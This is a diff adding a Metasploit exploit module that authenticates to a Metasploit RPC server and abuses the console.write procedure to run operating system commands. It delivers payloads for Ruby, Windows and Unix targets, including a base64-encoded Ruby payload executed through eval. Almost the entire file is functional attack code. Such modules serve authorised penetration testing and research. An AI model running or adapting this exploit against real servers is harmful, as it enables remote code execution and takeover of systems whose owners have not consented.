|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core/rpc/v10/client' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Tcp |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Metasploit RPC Console Command Execution', |
| 16 | + 'Description' => %q{ |
| 17 | + This module connects to a specified Metasploit RPC server and |
| 18 | + uses the 'console.write' procedure to execute operating |
| 19 | + system commands. Valid credentials are required to access the |
| 20 | + RPC interface. |
| 21 | +
|
| 22 | + This module has been tested successfully on Metasploit 4.15 |
| 23 | + on Kali 1.0.6; Metasploit 4.14 on Kali 2017.1; and Metasploit |
| 24 | + 4.14 on Windows 7 SP1. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => 'Brendan Coles <bcoles[at]gmail.com>', |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + [ 'URL', 'https://help.rapid7.com/metasploit/Content/api/rpc/overview.html' ], |
| 31 | + [ 'URL', 'https://community.rapid7.com/docs/DOC-1516' ] |
| 32 | + ], |
| 33 | + 'Platform' => %w{ ruby unix win }, |
| 34 | + 'Targets' => [ |
| 35 | + [ 'Ruby', { 'Arch' => ARCH_RUBY, |
| 36 | + 'Platform' => 'ruby', |
| 37 | + 'Payload' => { 'BadChars' => "\x00" } } ], |
| 38 | + [ 'Windows CMD', { 'Arch' => ARCH_CMD, |
| 39 | + 'Platform' => 'win', |
| 40 | + 'Payload' => { 'BadChars' => "\x00\x0A\x0D" } } ], |
| 41 | + [ 'Unix CMD', { 'Arch' => ARCH_CMD, |
| 42 | + 'Platform' => 'unix', |
| 43 | + 'Payload' => { 'BadChars' => "\x00\x0A\x0D" } } ] |
| 44 | + ], |
| 45 | + 'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 15 }, |
| 46 | + 'Privileged' => false, |
| 47 | + 'DisclosureDate' => 'May 22 2011', |
| 48 | + 'DefaultTarget' => 0)) |
| 49 | + register_options [ Opt::RPORT(55552), |
| 50 | + OptString.new('USERNAME', [true, 'Username for Metasploit RPC', 'msf']), |
| 51 | + OptString.new('PASSWORD', [true, 'Password for the specified username', '']), |
| 52 | + OptBool.new('SSL', [ true, 'Use SSL', true]) ] |
| 53 | + end |
| 54 | + |
| 55 | + def execute_command(cmd, opts = {}) |
| 56 | + res = @rpc.call 'console.write', @console_id, "\r\n#{cmd}\r\n" |
| 57 | + |
| 58 | + if res.nil? |
| 59 | + fail_with Failure::Unknown, 'Connection failed' |
| 60 | + end |
| 61 | + |
| 62 | + unless res['wrote'].to_s =~ /\A\d+\z/ |
| 63 | + print_error "Could not write to console #{@console_id}:" |
| 64 | + print_line res.to_s |
| 65 | + return |
| 66 | + end |
| 67 | + |
| 68 | + vprint_good "Wrote #{res['wrote']} bytes to console" |
| 69 | + end |
| 70 | + |
| 71 | + def exploit |
| 72 | + begin |
| 73 | + @rpc = Msf::RPC::Client.new :host => rhost, :port => rport, :ssl => ssl |
| 74 | + rescue Rex::ConnectionRefused => e |
| 75 | + fail_with Failure::Unreachable, 'Connection refused' |
| 76 | + rescue => e |
| 77 | + fail_with Failure::Unknown, "Connection failed: #{e}" |
| 78 | + end |
| 79 | + |
| 80 | + res = @rpc.login datastore['USERNAME'], datastore['PASSWORD'] |
| 81 | + |
| 82 | + if @rpc.token.nil? |
| 83 | + fail_with Failure::NoAccess, 'Authentication failed' |
| 84 | + end |
| 85 | + |
| 86 | + print_good 'Authenticated successfully' |
| 87 | + vprint_status "Received temporary token: #{@rpc.token}" |
| 88 | + |
| 89 | + version = @rpc.call 'core.version' |
| 90 | + |
| 91 | + if res.nil? |
| 92 | + fail_with Failure::Unknown, 'Connection failed' |
| 93 | + end |
| 94 | + |
| 95 | + print_status "Metasploit #{version['version']}" |
| 96 | + print_status "Ruby #{version['ruby']}" |
| 97 | + print_status "API version #{version['api']}" |
| 98 | + |
| 99 | + vprint_status 'Creating new console...' |
| 100 | + res = @rpc.call 'console.create' |
| 101 | + |
| 102 | + if res.nil? |
| 103 | + fail_with Failure::Unknown, 'Connection failed' |
| 104 | + end |
| 105 | + |
| 106 | + unless res['id'].to_s =~ /\A\d+\z/ |
| 107 | + print_error 'Could not create console:' |
| 108 | + print_line res.to_s |
| 109 | + return |
| 110 | + end |
| 111 | + |
| 112 | + @console_id = res['id'] |
| 113 | + print_good "Created console ##{@console_id}" |
| 114 | + |
| 115 | + print_status 'Sending payload...' |
| 116 | + |
| 117 | + case target['Platform'] |
| 118 | + when 'ruby' |
| 119 | + cmd = "ruby -e 'eval(%[#{Rex::Text.encode_base64(payload.encoded)}].unpack(%[m0]).first)'" |
| 120 | + when 'win' |
| 121 | + cmd = payload.encoded |
| 122 | + when 'unix' |
| 123 | + cmd = payload.encoded |
| 124 | + else |
| 125 | + fail_with Failure::NoTarget, 'Invalid target' |
| 126 | + end |
| 127 | + |
| 128 | + execute_command cmd |
| 129 | + end |
| 130 | + |
| 131 | + def cleanup |
| 132 | + return if @console_id.nil? |
| 133 | + |
| 134 | + vprint_status 'Removing console...' |
| 135 | + res = @rpc.call 'console.destroy', @console_id |
| 136 | + |
| 137 | + if res.nil? |
| 138 | + print_error 'Connection failed' |
| 139 | + return |
| 140 | + end |
| 141 | + |
| 142 | + unless res['result'].eql? 'success' |
| 143 | + print_warning "Could not destroy console ##{@console_id}:" |
| 144 | + print_line res.to_s |
| 145 | + return |
| 146 | + end |
| 147 | + |
| 148 | + vprint_good "Destroyed console ##{@console_id}" |
| 149 | + ensure |
| 150 | + @rpc.close |
| 151 | + end |
| 152 | +end |
0 commit comments